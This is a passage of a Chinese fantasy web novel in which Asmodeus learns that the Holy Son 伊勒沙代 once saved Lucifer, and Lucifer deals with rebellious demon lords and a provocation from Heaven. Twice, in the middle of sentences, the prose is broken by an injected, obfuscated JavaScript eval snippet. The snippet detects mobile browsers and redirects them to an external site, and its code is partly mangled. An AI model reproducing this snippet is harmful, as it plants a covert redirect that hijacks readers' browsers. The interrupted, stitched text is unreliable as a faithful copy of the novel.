阿斯蒙蒂斯有些悻悻地闭嘴。 “人类的生命很短,也很脆弱,我只想珍惜每一刻,不要辜负。”伊勒沙代转头,深深看了他一眼,“阿斯蒙蒂斯,你知道这一点。” 阿斯蒙蒂斯一怔,忽地升起个念头,伊勒沙代知道他的过往。 不,不可能,那些知情人,现在骨头渣都该没了。 但…… 阿斯蒙蒂斯眸光一闪,又是那副吊儿郎当的模样道:“我知道呀,我怎么不知道,我还常常可惜呢,美人大多命薄,真是让我心疼,我恨不得把他们带回地狱好好照顾。” 当然,大多数人都不会同意。 人类疯了才主动下地狱。 他又故作不经意道:“陛下对你也是有几分感情的,不然怎么会把那吊坠给你?我已经把它还回去了。” 他说话间不错眼地观察着伊勒沙代的反应。 想从那张圣洁无瑕的脸上看出一丝心虚。 但他失败了。 伊勒沙代惋惜道:“他没来问我为什么知道这枚吊坠,我还以为,他会来问我的。” 阿斯蒙蒂斯一噎,随即,不可置信地反问:“……你,你不会是故意这么做,就想让他来找你吧?” 伊勒沙代神情无辜:“不可以吗?” 阿斯蒙蒂斯瞠目结舌:“啊?不是,你怎么能,怎么能干这种事?” 虽然好像也不是什么要紧事,但是,这是纯洁善良单纯天真的天国生灵能干出来的事吗? 他这个堕天使要是干了就不足为奇,但伊勒沙代,他可是天国圣子啊! 阿斯蒙蒂斯头一次有一瞬间想父神也有看走眼的一天。 不过这么一打岔,气氛倒是松快不少。 在他惊讶间,伊勒沙代道:“不必试探我,关于这枚吊坠的事不过是我猜的,你只会在路西身边的时候才戴着这枚吊坠,我便试了试。” 一试就对。 阿斯蒙蒂斯不太信有这么简单。 但他也知道试探只能在对方没有准备的时候奏效,现在不能再追问下去。 他挠了挠脸:“看不出来你还挺关心我的,我平时身上饰品那么多,你还能发现这个小差异呢。” “路西从前的礼服饰品更多,我都记得。”伊勒沙代想到他,又是笑容温柔,“我们第一次见面的时候,他戴的青金鸢尾耳坠很衬他。路西很适合那些颜色鲜艳的饰品。” 阿斯蒙蒂斯霎时钦佩,自愧不如。 他对他的每任情人都没这么细心过。 就算是情最浓时,他也不会记得他们某一日戴的什么耳坠。 他脱口而出:“你不会真是喜欢陛下吧?” 刚一说完,阿斯蒙蒂斯便有些后悔。 天国生灵懂什么情爱喜欢,这不是白问。 然而,他久久没听见伊勒沙代否认。 阿斯蒙蒂斯不禁眉头紧皱。 他用怪异的目光看着伊勒沙代,看他耳尖微红,仿佛被说中心事。 阿斯蒙蒂斯哽住,须臾,道:“那你还是死了这条心吧。” 伊勒沙代看向他,湛蓝双眸不再是那么友好的模样。 阿斯蒙蒂斯颇觉恼怒,难得的一瞬好心似是喂了狗。 他生硬道:“瞪我也没用,陛下早就有喜欢的人了,这事儿就连米迦勒都知道。 “你当陛下为什么眼下要做这一切?不都是为了和他相守! “你,永远都争不过他的。” 32. 耳饰为证 在路西法从灼灼燃烧了九个晨昏的焚天之火中毫发无损地走出来的同时,关于他身负暗伤的传言也在地狱魔王之间悄悄流转。 没有具体的来源,大家只是不约而同朴素地认为,创世神不会那么轻易放过这场旷世叛乱的戎首。 爱之深,恨之切。 创世神曾有多爱重他,在他叛变后,一定就会有多憎恶他。 但究竟是什么样的暗伤,又伤到了何种程度,没谁说得清。 毕竟,从路西法表面看来,没有任何反常。 天使堕落之后,往往本相形貌会与从前大不相同,大多变得狰狞可怖,实力越强受影响越小,而路西法好似连外貌也没多少变化,足可见其强大。 所以地狱魔王们都非常谨慎。 他们都指望别人先去动手,给自己探探路。 然而结果直到路西法推平地狱自冕称王,也没有哪个魔王用自己的命试试他到底有没有暗伤。 路西法快刀斩乱麻,称王之后迅速制定律法,分划领土,整治军纪,将潘地曼尼南定为泾渭分明的内外城,严加戒备。 而在这无数政令落实见效以后,路西法向天国宣战。 当时除去一直追随他的堕天使们之外,没有一位魔王看好这次开战的结果。 路西法也知道这一点,他们还不算是真心归附。 所以一切计划只与亲信们议定,魔王只负责执行。 从前天国接战书的都是路西菲尔。 如今向天国下战书的是路西法。 但新被任命的炽天使长米迦勒并未接下战书。 他说,父神有命,三界应当和平相处,不应妄造杀戮。 义正辞严,路西法听了想笑。 他可不管这个。 他要掀起战争,自然没有米迦勒拒绝的余地。 在地狱几番骚|扰袭击之下,拉斐尔忍无可忍,领兵反击。 随后便是扩大战局,地狱来势汹汹,逼得米迦勒等所有炽天使都不得不应战。 而路西法的战略部署里面,对阵所有炽天使的,竟只有他自己。 魔王们心惊胆战,他们觉得路西法此举可谓狂妄自负至极,难道光凭他一个,就能对付所有炽天使吗? 他还真可以。 这一场大战,以地狱大获全胜告终。 于地狱众魔而言,唯一美中不足的是,在最后关头,创世神出手,制止了路西法大开杀戒。 但也只是制止。 让他不能动手之后,创世神又如平时一般不再现身,由着天国与地狱之间自行交涉,收拾残局。 多番商议之后,天国与地狱在天地法则见证中签下条约,内容正如伊勒沙代之前所猜想那样。 天使与恶魔的力量都在人间受到限制,压缩到不足一成。 若天使救人,则恶魔不再受限。 若恶魔杀人,则天使不再受限。 看似双方都没有占到便宜,但实际上对地狱却是极大的喜讯。 要知道,从前,恶魔根本出不了地狱一步,否则就只有被天使追杀到天涯海角的命。 而现在,经此一战,只要不杀了人类,他们在人间已有了极大的自由,天使绝不再能随意对他们出手。 他们也算是背后有倚仗了。 这场战争的结果振奋魔心,路西法趁此在潘地曼尼南举办了整整十日的庆功宴。 魔王们从前再面服心不服,现在也是老实了许多,恶魔向来崇尚武力,尊慕强者,路西法凭这一战在地狱声望空前,这庆功宴自然是热闹非凡。 问题就出在最后一天的夜里,庆功宴散场之后。 路西法突然失踪了。 阿斯蒙蒂斯那时还正借着酒劲酣睡着,梦里左拥右抱好不快活,忽地就被别西卜按进冰水里,直到他彻底清醒为止。 然后就得知了这个要命的消息。 说实话,就算没有那盆冰水,知道这个消息,也够阿斯蒙蒂斯马上清醒了。 现在正是路西法立威的紧要关头,但凡他出点什么事…… 别西卜也知道事态的严重性,所以封锁了消息,目前只有他们几个亲信魔王知道内情。 而在此情况下,别西卜终于不得不承认。 路西法,的确有暗伤。 这次庆功宴上的酒都经过重重审查,但有些是魔王们带来的,也不好多加盘问,像审犯人似的,不利于团结。 路西法喝了不少,怕就怕,其中有能引起他暗伤复发的。 那么他此时失踪就会不太妙了。 若是平时也就算了,但偏偏,庆功宴后数日里会有许多魔王来求见路西法,打探他日后的安排。 别西卜心急如焚,他担忧有损撒旦颜面,更担忧路西法的安危,他甚至想自己顶住众魔王,其他几人都去寻找路西法。 还是玛门劝住了他,告诉他若是现在他们都不在,会更显得可疑。 别西卜坐立不安的心态倒没影响阿斯蒙蒂斯,也不是他不在乎路西法,而是他觉得,以路西法的实力和脑子,哪怕是法力全无,那群魔王都不见得是他的对手。 指不定还会被他玩得团团转。 不过阿斯蒙蒂斯的消极态度在路西法失踪整整一星期以后也渐渐磨灭了。 这……是不是有点久了? 难不成真出大事了? 一开始别西卜还能摆出宰相的威严恐吓斥退魔王们,但这关头上路西法连着七天都不露面,着实太可疑了。 魔王们的心思便有些蠢蠢欲动。 毕竟是对战了所有炽天使,要是,要是路西法在大战中其实受了重伤…… 他们联袂而来,死守在万魔殿,不见到路西法决不罢休,甚至阴阳怪气地表示怀疑别西卜拦着不许他们觐见是另有图谋。 别西卜怒不可遏,但比他更怒的是风尘仆仆从边境赶回来的萨麦尔。 他直接黑着脸把口出狂言的魔王全都几鞭子抽了出去,任他们倒在万魔殿外哀嚎,狠狠震慑了那些还想多嘴的魔王。 和别西卜还能打打言语机锋,萨麦尔那严肃寡言的性格可不会争辩,他手里的鞭子自会替他堵住别人的嘴。 明面上是按下去了,也不再有魔王敢蹲守万魔殿,但背地里的流言蜚语却是越演越烈,甚至连撒旦已经秘密身亡的消息都在底下传着。 魔王们开始私底下三三两两聚头,别西卜他们既要维持政务运转,又要彻查流言源头,着实分|身乏术再去监听他们在密谋什么。 阿斯蒙蒂斯那时忙得晕头转向,想,要不干脆摆烂吧,他们六个一字排开坐万魔殿门口,若谁想硬闯,直接杀了就是。 不过也就是想想,真要这么做了,那就是坐实路西法情况不妙,甚至到了临终关怀的地步。 好不容易维持的统一局面必将被打破,地狱想不乱都难。 但野心勃勃的魔王们不会容许这样僵持的局面长期维持着,他们必须趁早找到路西法,无论生死。 可是,他们几乎翻遍整个地狱,甚至冒险进入几位大魔王的老巢探查,都没有发现路西法的踪影。 就当阿斯蒙蒂斯想着要不他凭借化形之术伪装成路西法稳定一下魔心的时候,这僵局就被打破了。 ——莉莉丝不知何时盗取了路西法的信物,在外声称路西法已死于别西卜之手,要求诸位魔王进入潘地曼尼南诛杀别西卜。 阿斯蒙蒂斯简直不愿回忆那段时间有多兵荒马乱。 一众大魔王领兵齐聚万魔殿外的时候,面对他们个个志在必得的眼神,死守门外的阿斯蒙蒂斯已经做好了最坏的打算,真的想过,大家同归于尽算了。 反正不会让他们踏入万魔殿一步的。 不过好在创世神又庇佑了他一次。 在他们下令进攻之前,万魔殿大门倏然大开。 路西法端坐王位,懒懒散散靠在那张鎏金镶宝,象征 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091876|195458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着无上权势的华贵座椅上,唇角微弯,殷红竖瞳中却冰冷一片:“我竟不知,诸位何时对我如此忠心了?” 霎时,鸦雀无声。 一切就此戛然而止。 路西法的出现就代表了输赢的确定。 从那天起持续一个月,潘地曼尼南城外的血腥味就没有消散过。 唯一没死的只有莉莉丝,不过也被判处终身监禁,她也被路西法的狠厉深深震慑。 而在一切结束之后,阿斯蒙蒂斯才同其他人一起去拜见路西法,期间,别西卜担忧地问起,他是否是旧伤复发。 路西法承认了。 但笑道:“已经痊愈,不会再复发。” 别西卜闻言,万分惊讶。 以路西法的实力,尚且不能自愈,如何能…… “我遇见了一个人。”路西法支着头,殷红的眼眸像荡漾在杯中醉意浓浓的红酒,仅一眼就要使人沉溺其中,自甘醺醺,“他应当是来自天国。” 他冒天下之大不韪救了路西法。 阿斯蒙蒂斯还记得那本厚厚的《天使守则》,里面每一条每一句,都记载了他此举会将他置于怎样的死地。 无论是天使自身的观念素养,还是外部环境的束缚压迫,那个人好像都忘了个干净。 这段时间地狱的消息传得飞快,路西法失踪又现身,很难不会让人联想到他被人救下,这些消息瞒不过天国,一旦天国的长官再对比出勤记录,这人必然暴露无遗。 他将生死置之度外。 阿斯蒙蒂斯由衷地佩服。 想不到,天国那等灭情绝欲的地方,还会出这样的情种。 “我本要去天国带他回来,但他不愿。”路西法不无遗憾地叹道,“他不在意我许下的权势地位,只说——” 日后,缘分既到,自会相见。 何时才到? 他却未说。 阿斯蒙蒂斯以为这是托辞。 兴许,他过不去心里的坎。 毕竟他做下的是违背一切天国固有公序良俗的恶事,该为天下唾骂,日后路西法但凡做恶,归根结底皆是他造下的孽。 生性善良怜悯的天使活不下去的。 但路西法不这样想。 他给了那人一件绝无仅有的信物,承诺他,下次见面,一定会带他回地狱。 不管天国,同意与否。 “是什么?”伊勒沙代很感兴趣地问道。 “一枚耳饰。”阿斯蒙蒂斯还沉浸在回忆的余味里,颇为唏嘘,“是在庆功宴上,被地狱最为出名的巧匠打造,外观来看,不过是纯金作笼,镶嵌着流光溢彩的矿石,然而靠近才能看见,那矿石里时时转动着九层地狱的奇观异景。” 象征着路西法对地狱的绝对掌控。 “既是耳饰,应当是一对。” 阿斯蒙蒂斯摇头:“庆功宴最后一天的时候,大家都在兴头上,陛下取出其中一枚,扔进了万魔殿花园正中的血湖里,告诉在场所有人,谁若在血湖中找到它,他就替谁完成一个心愿,什么心愿都可以。” 血湖底是永不熄灭的烈焰。 那枚耳饰再巧夺天工,材质再好,一旦落入湖底,也是被烧灼殆尽的命运。 所以路西法话音刚落,顷刻就有无数人往那血湖里跳,熊熊贪欲在他们胸腔里跳动,撒旦的承诺,远比湖底的烈焰让他们心头巨震。 但—— 直到现在,也没人拿出过那枚耳饰来要求兑现。 可不就是没了? 那这世上不就只剩下一枚了。 的确是绝无仅有的。 “如此说来,你也见过那枚耳饰?” 阿斯蒙蒂斯得意地笑了,废话,他可是坐在最前面的魔王之一,那枚耳饰具体长什么样,他敢说除他之外没几个知道。 伊勒沙代颔首,须臾,伸出手,素白劲瘦的掌心在他面前摊开。 “是长这样的吗?” 33. 讨他欢心 阿斯蒙蒂斯翻来覆去地把那枚耳饰看了个几十遍。 无论他怎么看,它同他当年所见,都是一模一样。 阿斯蒙蒂斯感觉自己脑子有点转不过来。 陛下好像是说过,那个人应当是天国的…… 但为什么是圣子啊! 道理他都懂,但为什么会是圣子呢! 明明,全天国最没道理帮路西法的就是圣子了吧! 若说旁的天使,可能对路西法还曾有敬仰之情,一时不忍,但圣子跟他们可以说是从无交集,所谓情谊无从谈起,而他的地位是由创世神赐予,就算只为自己,他也不该背叛才对。 可是…… 这枚被陛下作为凭证的耳饰,确确实实在伊勒沙代手中。 由不得他不信。 阿斯蒙蒂斯完全没考虑过这是他从旁人手中得到的可能性。 陛下说起那段时光的神情,永远是那么怀念又温柔,对那个人而言,何尝又不是呢? 对方敢救下撒旦,就不会是瞻前顾后贪生怕死之辈,阿斯蒙蒂斯相信,他哪怕留着耳饰把这个秘密守到死,也不会交给别人。 仔细想想,若他是圣子,那一切倒是解释得通了。 天使自是各司其职,不得擅离职守,但圣子地位超然,又向来行踪成谜,绕是梅塔特隆和米迦勒也不会去询问他身在何处,所以他就算消失一段时间,当真也不会有谁发现。 而且,陛下虽未说过,但阿斯蒙蒂斯能想到,他身上的暗伤必定不会那么容易治好,放眼整个天国,能做到此事的,创世神自然是不用想,完全没可能;拉斐尔刚被路西法设计成为扩大战局的导火索,恐怕心里正悔恨气恼,也不可能;其他天使医术平平,更不必说。 还真是只有实力深不可测的圣子有能力做到。 别管他是为了什么,总之,就是他。 阿斯蒙蒂斯一时说不上来自己的心情。 那一日陛下的嘲讽不甘似乎还在眼前,今日却知,陛下的柔情思怀,亦是为他所起。 喜悲乐怒,大起大落,都牵挂于他一身。 这叫陛下日后怎么忘得了他呢? 直到伊勒沙代从他掌中拿回耳饰,阿斯蒙蒂斯才发现自己的手不知何时竟然在发抖。 他相信自己的直觉,救过自己无数次的直觉,色|欲魔王的天赋本能。 眼前这位圣子,恐怕没他们以为的那么简单。 看过了太多天使纯真至善,转生人间也一心只为任务的他们,当真没有用惯性思维去看待这位圣子吗? 他所求,若真的只有完成□□…… 那他根本不必把这耳饰拿给他看。 直接告诉路西法不就好了? 路西法绝对不会再为难他,甚至会主动让所有恶魔为他大开方便之门。 阿斯蒙蒂斯脑子极速运转。 “天色不早了,再不返回城主府,城主会多想。” 阿斯蒙蒂斯还在思考间,就听伊勒沙代一如既往温和淡然的声音传来,他下意识“嗯”了一声,随即又反应过来。 伊勒沙代怎么还是那么平静? 他不该,呃,起码激动一点吗? 这可是撒旦陛下的救命之恩啊! 他满腹疑惑地盯着伊勒沙代的脸,想从上面看出点不对劲。 但除了大写的“好看”什么都没看出来。 长得确实是没话说啊…… 从陛下这段时间的反应来看,陛下也是挺喜欢的。 救命之恩再加上这张脸,伊勒沙代要是还进不了陛下寝殿的门,他阿斯蒙蒂斯名字倒过来写! ……反过来想想,幸好,他没得罪过这位。 嗯,他就知道,像他这样有礼貌的恶魔运气不会太差的。 阿斯蒙蒂斯笑嘻嘻地凑上前:“没事儿,这整座城的人加起来打不过我一只手,他要是对您不敬,保证拔了他全家老小的舌头。” 伊勒沙代冷冷淡淡瞥他一眼。 阿斯蒙蒂斯后背一凉,讪讪道:“……不拔也行。” 能屈能伸才是好恶魔。 这位保不准什么时候就入住万魔殿了,不说讨不讨好,起码不能得罪啊。 伊勒沙代知晓他的性情,并不想与他闲扯。 只平静道:“耳饰的事,还有劳你为我保密,尤其是对路西。” 刚想无论他说什么都一口答应的阿斯蒙蒂斯傻眼:“啊?” 不是,你不想让陛下知道,你拿耳饰出来给我认做什么? 旁敲侧击地问会不会啊! 一上来就让我确定身份,还搞这出,这是想干什么? 想钓着陛下也不是这么个钓法吧? ……而且,你再不说,你信不信陛下真的能把你在人间折腾死啊! 迄今为止这些事算什么,都只是撒旦无聊的小消遣而已,他正经想要你命的时候,再来十个米迦勒都拦不住! 阿斯蒙蒂斯满腔的话憋在喉咙里,非常想说。 伊勒沙代垂下眼,长睫下湛蓝眼眸如被云山雾罩:“我不过想知道,若没有这些前因,他是否也会对我容情。” 阿斯蒙蒂斯一愣。 以往总是嬉笑轻浮的面容渐渐沉寂,一双多情佻薄的眼透出些许不符外表年龄的沧桑枯朽。 他沉默了很久。 有一些刻意不去想的事,魔怔一般又在心头盘旋。 情啊,爱啊…… 什么玩意儿。 多害人。 害死人。 哪怕贵为天国圣子,也会看不透吗? 还是,不想看透,不愿看透,就算看透,也要争上一争才甘心。 “……如果陛下问起,我不会对他撒谎。” 这已是退让一步。 伊勒沙代轻轻颔首,眸中笑意如许:“多谢。” 日暮时分,竟突然下起雨来。 狄曼图雅出门匆匆,没有带伞,正被淋了个透。 她随意躲进一片檐下,还不等拧一拧满衣的水,就被一旁无声无息站在花墙下的男人吓了一跳。 狄曼图雅拍了拍心口,长出一口气,好奇道:“你回来了呀?这些天没瞧见你,我还以为你不再来了呢。” 她也不算完全笨,看得出来,伊勒沙代和路西法不像是一路人。 或许因缘际会,才会有同行一程的缘分,缘尽也就散了。 她觉得主动权掌握在路西法手中。 相较于她对路西法的热情,路西法显得冷淡许多。 压根没理她。 狄曼图雅也不觉得难堪,一边乐呵呵地拧衣服,一边道:“我前两天误会了伊勒沙代,现在才知道他的用意,今日去和他道歉,还好他说他没生我的气,不然我真要愧疚死了。” 他谁的气都不会生的。 他就没长生气这种情绪。 狄曼图雅以为这是好脾性。 路西法却知道,这不过就是,不在意。 无论旁人说什么做什么,都不在意。 狄曼图雅还在自顾自絮叨:“我见他这么忙,便想着我也不能干坐着,所以,我去帮他了!” “用身份威胁格罗多城主无偿发药材,也叫帮他?” 狄曼图雅睁大眼睛:“你听到啦?” 路西法就说这么一句话,又不想搭理她了。 “除了这个身份,我也没什么别的拿得出手的了。”狄曼图雅蓦地有些难过,“我本来,不想依靠他们的,但事到临头,我才发现,离了他们我什么都不是。” 没人会听一个小姑娘的使唤。 但她是亲王独女,又另当别论。 “还算有点自知之明。”路西法哼笑一声,“知道还不回去?” 狄曼图雅却坚定地摇摇头。 “正因如此,我才想让自己更强大,日后,不必依赖任何人。” “哦?那你的那个奴隶呢?” “我会保护他的。”狄曼图雅坚定道,“直到我把他送回天界山脉,我会一直保护他的。” “和我说这些,是想我帮你?”路西法来了一点兴趣。 最喜欢看到心有欲|念的人类了。 “不不不,这是我的事,不能劳烦你,我,我是想说……” 狄曼图雅忽地两眼放光,恳切地望向他。 “——我能不能,拜你为师?” 这场雨来得急去得也急,不过片刻就已停歇。 雨声消散,少女迫切的声音越发鲜明。 “我是真心的!我保证不会给你丢脸,我一定会好好跟随你学习!” “不行。” “我,我知道你很厉害,想拜你为师的人一定很多,但我会努力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091877|195458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,我会比旁人加倍努力,当初圣殿大祭司也说过,我很有天赋!” “你回去找他。” “求你了!” 伊勒沙代收了伞,从廊下另一边缓缓过来。 今日劳累,他却不见疲色。 他站在走廊尽头,沉默看着那边地狱之主拧着眉,不耐烦地将自己金丝绣线的华贵衣袖从苦苦哀求的少女手中拯救出来。 多么美丽的脸,就连傲慢嫌弃这样丑陋的情绪由他表露出来也是耀眼生光,令人迷醉的。 伊勒沙代微微偏头,猜想他会说什么。 始终带着温柔亲和微笑的双唇轻启,没有出声,口型与远处的路西法分毫不差:“想拜我为师的人排个队能把这人间围一圈,你以为你凭什么能胜出?” 狄曼图雅一怔,沮丧地垂下眼睛,她无法反驳。 伊勒沙代想,可惜了,路西不会照顾谁的情绪。 或许以前会,因为天国副君必须是体贴温柔,平易近人的。 所以就算他不想,不愿意,也必须体贴。 但地狱之主不需要。 伊勒沙代湛蓝的眸中掠过一点遗憾。 却见路西法瞥向她脖颈间一条细细链子,眸光微闪。 下一刻,撒旦陛下忽地转了口风:“就那么想拜我为师?” 峰回路转,狄曼图雅不疑有他,惊喜地连连点头。 路西法唇角弯起,竖瞳里兴味十足:“可以。” 不待她高兴,他又道:“不过要等你十八岁成年礼以后。” 狄曼图雅以为他是嫌自己年纪小,忙道:“那,那也可以!不能反悔!”她想了想,又小声补充,“成年礼上不可以吗?” “不可以。”路西法笑眯眯道,“你成年礼后第一刻,我会来见你。” “好!我会准备好拜师礼的!”狄曼图雅高兴起来,一双眼亮晶晶的,“我,其实我觉得,你一定比大祭司厉害。” 路西法挑了挑眉:“你不是说,他不是好人,怎么,在你心里,难道我就是了?” 那倒也不是…… 但厉害和人好不好不是必然挂钩的。 狄曼图雅颇为心虚。 不过她打心眼里觉得,路西法比大祭司好太多了。 就是一种说不清楚的直觉。 得到想要的结果以后,狄曼图雅迫不及待地去找人分享喜悦,路西法收回看着她背影的目光,转头看向走廊另一边:“你这样不声不响的,倒真是有耶和华的风采。” 祂不就是喜欢沉默地注视一切么? 伊勒沙代将那把还在淌下水的伞轻轻放在一旁,温雅平和,不疾不徐:“我应当说荣幸吗?” 路西法笑意越发鲜明,反问:“你觉得呢?” 目光交汇,霎时都从对方眼中看到了答案。 路西法悠悠闲闲地上前,看着他身上沾了风雨的白衣,伸出食中二指,捻起一点,颇为嫌弃:“好生简陋啊,圣子大人,天国对你真是只利用不尽心呢。” 随即,他笑意盈盈,抬起眼,凑近一些,道:“要是我呀,定然是舍不得这样委屈你的。” 不知何时,他的手指从衣上落在伊勒沙代脸侧,黑色尖甲漫不经心地划过圣子温柔俊美的眉眼,停在高挺的山根处。 伊勒沙代温凉的气息与他薄薄的腕上肌肤接触,却并不令洁癖到极致的撒旦陛下反感。 大概因为他是彻底纯净的……? 路西法晃神想着。 伊勒沙代垂眸,看向他的手腕,温声道:“路西,你对狄曼图雅小姐很有耐心,若你能对所有人都如此……” 好吧,撤回前言。 路西法一下收回手,面上也没了笑意。 这股时时刻刻爱说教的劲,果然是天国出品的不假。 “她讨我喜欢,我当然对她有耐心。你若能让我开心,我也不介意好好疼爱你,圣子。” “疼爱”二字,羞辱之意毫不掩饰。 伊勒沙代却恍若未觉,仍是那般光风霁月的模样,虚心求教:“要我如何做,你会开心?” “很简单。” 路西法又笑起来,纤长指间忽地捏起一个小瓶子,将它塞进伊勒沙代衣襟中。 “明日讲经的时候,把它对着人群顺风打开,我就开心了。 “如何,愿不愿意?” 34. 画卷之争 路西法的体温一直偏高。 这只瓷白小瓶子从他手中滚到伊勒沙代怀里,像也沾了他的温度,灼烫了伊勒沙代胸口那一小片肌肤。 “做不到?” 路西法好似不想为难他,伸手就要从他怀中把那小瓷瓶取回。 伊勒沙代按住他的手腕,拇指指腹正压在他突起的腕骨之上,湛蓝眼眸向下垂看,如蕴清冽寒泉。 “好,我答应你。” 路西法完全未料到这个答案。 他诧异地看着眼前依旧神情温和悲悯的圣子,殷红竖瞳中满是审视。 须臾,他笑出声来:“借我之手先伤害他们,然后你再出面拯救,多么完美的计划,届时谁还会不对你感恩戴德?” 伊勒沙代一默,道:“我并无此意。” 路西法很明显不信。 他回想起伊勒沙代说他们不止见过一次,这不说明,他的记忆已经恢复了不少,谁知道他有什么打算? 路西法向来喜欢先用恶意揣测对方的意图。 他当然知道伊勒沙代没必要这样做,以他现在的声望,搞这一出有害无益。 但不妨碍他用恶意伤他。 到底,他们最终都会兵戈相对。 路西法很好奇,伊勒沙代真正的实力究竟如何。 当初堕天之战,他是否使出全力? 他想得入神,全然忘记,自己的手腕还在伊勒沙代掌中。 伊勒沙代当然不会主动提醒。 掌下肌骨仍是抚摸过无数次的那样,造物主倾尽心力所塑造,寸寸都要是最精致完美的。 路西法不会想到,他早已恢复了全部记忆。 不仅是“圣子弥赛亚”的,还包括本体的所有。 在触碰到路西法的每分每秒,他都能回想起无比的喜悦欢欣。 ——那是属于本体,创世神耶和华的情绪。 祂由衷地喜欢,祂最完美的造物,并引以为傲。 在最孤寂的七天里,耶和华将他抱在怀中,赋予他所有至美至好的事物。 要有卷曲柔软的长发,要有白皙细腻的皮肤,要有修长有力的双腿,要有如泉似冰的声音…… 要有仿若春水碧波,耀耀星河般盈盈生光的眼睛,永远注视祂。 伊勒沙代蓦地心口疼痛。 眼前的魔王,早就不是记忆中的模样。 但圣父依旧在漫长的岁月里刻舟求剑。 伊勒沙代降临人间,身负重任。 时间紧迫,他不想浪费一分一秒。 等到……之后,起码,路西还会记得他。 他深深看着路西法,多看一刻是一刻。 再多看,才能将他的模样牢牢记住。 不必再借着他人的眼才能望向他。 但这样静谧的时光也只有片刻。 别西卜忽地紧急向路西法传音,路西法眉心紧蹙,从伊勒沙代掌中抽回手。 转身就走,毫无留恋。 伊勒沙代看着他的背影,眸中似有墨色闪过。 真是苦恼,地狱的那些恶魔,总是来占据他的精力和时间。 一群没用的东西。 路西就是太惯着他们了,才叫他们一直毫无长进。 若是他…… 罢了。 路西不会愿意看见他插手的。 路西法听完别西卜的汇报,怒极反笑。 梅塔特隆还真没有辜负他的期待,竟然能想出这样的主意来。 他也知道近日下界将有一个高端艺术藏品展会,除了人类之外的种族高层都会参与,主办方一如既往战战兢兢地往地狱递了请帖,也一如既往地被整个地狱高层从上到下无视了个彻底。 出不了潘地曼尼南内城的魔王自然不必说,已经驻守在外的却是因为都看不上。 下界办再大的展会,也不过就是大家一起吃吃喝喝互相吹捧两句,哪有他们在自己领地纵情享乐来得快活。 所以那展会上发生的事,竟到如今才传到路西法跟前。 ——展会最后一日,米迦勒亲临,但与以往他仅是来凑凑热闹不同,这次,他带来了一样东西,供予展览。 是一幅画卷。 描绘着——路西菲尔受封天国副君的场景。 画中天使虔诚仰望创世神的模样,足以让所见者无不动情。 堕天使除外。 他们是越看越怒火高涨。 这简直就是再直白不过的挑衅。 仿佛就是在说—— 任你路西法如今何等显赫,曾经都不过是天国之副。 若非父神信重宠爱,他岂会有这般能耐? 忘恩负义,不过如是。 这谁能忍? 当年的事本就未曾有哪位权威来下个定论,对于天使和恶魔来说都是始终横在心里的一根刺。 听闻路西法在万魔殿见客,一时间无数的求见帖便递了上来。 各家魔王的仆从都在偏厅排队登记,面面相觑,暗自计较自家能不能第一个被接见。 然而登记完后,万魔殿侍从直接将他们都赶了出去。 一律“日后再议”。 别西卜在会客厅听他的汇报,听得眉头紧皱:“他们此刻来做什么?这说到底不过是件小事,只是含义太恶心人,他们做出这般阵仗,倒像是我们草木皆兵,天国随便一个举动就能扰乱我们似的!” 不过他心里清楚,魔王们会这么激动,也不全是因为自觉被天国挑衅,还因他们已被路西法关出了些许心理阴影。 照这样相安无事下去,他们要何年何月才能获得许可离开潘地曼尼南? 还不如索性和天国打一架,挣得军功为倚仗。 别西卜早不是当初面对狡诈多变的魔王时手忙脚乱的新生堕天使,这么多年管理下来,他对于他们这些小心思看得一清二楚。 急躁,冒进,凶残,这是刻在魔王们骨子里的性情,能到现在还没离开潘地曼尼南的更是如此。 他思考片刻,向路西法道:“陛下,不如改日将他们聚在一起,叫他们安分,不要擅自惹事。” 路西法这才从侍从呈上来的那份名单上抬起眼,含笑瞥向他。 无论相对多少次,别西卜都会恍神片刻。 陛下依旧这般耀眼夺目,摄人心魄。 但这次……总觉得,陛下好像有哪里不一样了? 别西卜形容不出来。 他出神之际,路西法另取出一张纸,提笔写下几排字,递给了他。 别西卜眨了眨眼,回过神,连忙接过那张纸。 其上赫然是几个名字。 属于几位没有派仆从前来的魔王。 不出意外,他们应该正住在潘地曼尼南内城路西法安排的府邸中,里外重兵把守。 但路西法将这张纸递给了他,那就说明,出了意外。 别西卜心头一紧。 “去查查他们的动向,兴许有惊喜。”路西法支着头,依旧是悠然自在的模样。 仿佛他的王城之中出了这么大的纰漏,也不过是一件小事。 别西卜艰难开口:“陛下……我又失职了……” 这是第几次了? 纵然莉莉丝逃走有路西法刻意为之的缘故,也是他有疏忽在先才有机可乘,这次,若是这么多魔王都跑了…… 别西卜真想以死谢罪了。 路西法一看就知道他又在自责,索性摊手道:“从我把他们关在内城起,就知道他们总有一天会想办法逃出去的。” 不跑他才担心呢。 否则他拿什么杀鸡儆猴。 关着他们本就不是长久之计,时间久了必生异心,区别只在于谁敢做谁不敢做。 路西法就是要一次次敲打磨练,只留下对他绝对忠心的魔王。 地狱,在他的统治下,必须是铁板一块,上下齐心。 如此,他才能没有后顾之忧地掀起接下来与天国的战争。 届时就算梅塔特隆有千般手段,也不能让那些魔王敢妄动。 这一步是必然的,不过为了防止节外生枝,除他之外没人知道罢了。 但……如果伊勒沙代在,说不定能猜到。 